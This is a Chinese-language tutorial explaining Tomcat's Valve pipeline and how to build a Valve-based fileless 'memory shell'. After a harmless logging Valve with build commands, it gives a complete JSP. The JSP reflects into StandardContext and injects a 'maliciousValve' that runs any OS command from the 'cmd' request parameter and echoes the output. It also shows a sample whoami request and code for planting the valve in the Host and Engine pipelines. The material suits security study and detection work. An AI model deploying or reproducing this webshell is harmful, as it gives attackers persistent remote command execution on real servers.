原理分析 | Valve —— Tomcat 特有内存马

请求 → [Valve A] → [Valve B] → [Valve C] → [基础阀门] → Servlet

import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
​
// 实现 Valve 接口，表明这是一个阀门组件。
public class MyStaticValve implements Valve {
    // 关键：存储下一个阀门，没有这个字段，链条就断了。
    private Valve next;
​
    @Override
    public void invoke(Request request, Response response) throws ServletException, IOException {
        // 自定义逻辑，这里是打印请求 URI，可以替换成任何代码（如执行命令、记录日志、修改响应）。
        System.out.println("[StaticValve] Request URI: " + request.getRequestURI());
        // 放行请求，继续执行下一个 Valve
        getNext().invoke(request, response);
    }
​
    @Override
    // 返回 false 表示这个阀门不支持异步处理。如果阀门内部没有异步逻辑，保持 false 即可。
    public boolean isAsyncSupported() {
        return false;
    }
​
    @Override
    // 这两个方法必须正确配合，否则链条会断。
    public void setNext(Valve valve) {
        this.next = valve; // 保存 Tomcat 传进来的下一个阀门
    }
​
    @Override
    public Valve getNext() {
        return this.next; // 返回保存的下一个阀门
    }
​
    @Override
    // Tomcat 会周期性地调用这个方法，执行一些后台任务（比如清理过期资源）。不需要的话留空即可。
    public void backgroundProcess() {
        // 可空实现
    }
}

cd E:\WWW\Valve\src\main\java
​
javac -encoding UTF-8 -cp "E:\WWW\apache-tomcat-9.0.117\lib\catalina.jar;E:\WWW\apache-tomcat-9.0.117\lib\servlet-api.jar" com\demo\MyStaticValve.java

jar cvf myvalve.jar com\demo\MyStaticValve.class

copy myvalve.jar E:\WWW\apache-tomcat-9.0.117\lib\

<Server>（最顶层，代表整个 Tomcat 实例）
└─ <Service>（服务，包含一个 Engine 和多个 Connector）
   └─ <Engine>（引擎，处理所有请求，可包含多个 Host）
      └─ <Host>（虚拟主机，例如 localhost，可包含多个 Context）
         └─ <Context>（可选，代表一个 Web 应用）

<Valve className="com.demo.MyStaticValve" />

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
​
<%
// 防止重复注入。application 是 JSP 的隐式对象，可以存储一些属性（键值对）
if (application.getAttribute("valveEchoInjected") == null) {
​
    // 从 request 里获取 servletContext
    // 这里的 request 是 JSP 的隐式对象，可以直接用
    // 匿名类里的代码只能用传入的参数对象
    ServletContext servletContext = request.getSession().getServletContext();
​
    // 两次反射获取 StandardContext
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
​
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
​
    // 构造匿名 Valve
    Valve maliciousValve = new Valve() {
        private Valve next;
​
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            // 匹配参数，GET 和 POST 都可以
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                try {
                    // 执行系统命令
                    Process process = Runtime.getRuntime().exec(cmd);
                    // 处理命令的输出
                    java.io.BufferedReader reader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream())
                    );
                    String line;
                    StringBuilder output = new StringBuilder();
                    while ((line = reader.readLine()) != null) {
                        output.append(line).append("\n");
                    }
                    // 有 response 可以直接回显到浏览器
                    response.setContentType("text/plain");
                    response.getWriter().write("Command: " + cmd + "\nOutput:\n" + output.toString());
                    response.flushBuffer();
                    // 如果有 cmd 参数就只显示命令结果，不会显示原来的页面
                    return;
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            // 没有 cmd 参数时，放行正常业务
            getNext().invoke(request, response);
        }
​
        @Override public boolean isAsyncSupported() { return false; }
        @Override public void setNext(Valve valve) { this.next = valve; }
        @Override public Valve getNext() { return this.next; }
        @Override public void backgroundProcess() { }
    };
​
    // 往 standardContext 里注册 Valve，非常简单，不用反射
    standardContext.getPipeline().addValve(maliciousValve);
​
    // 设置标志，表示已经注入过了
    application.setAttribute("valveEchoInjected", true);
​
    // 输出总数 + 每个阀门的类名
    Valve[] valves = standardContext.getPipeline().getValves();
    out.println("Valve (echo) injected. Total valves: " + valves.length + "<br>");
    out.println("Valve list:<br>");
    for (Valve v : valves) {
        out.println("&nbsp;&nbsp;- " + v.getClass().getName() + "<br>");
    }
} else {
    out.println("Valve already injected.");
}
%>

http://localhost:8080/任意?cmd=whoami

// 获取 Host（向上取父容器）
Container host = standardContext.getParent();
if (host instanceof StandardHost) {
    ((StandardHost) host).getPipeline().addValve(maliciousValve);
}

// 继续向上获取 Engine
Container engine = host.getParent();
if (engine instanceof StandardEngine) {
    ((StandardEngine) engine).getPipeline().addValve(maliciousValve);
}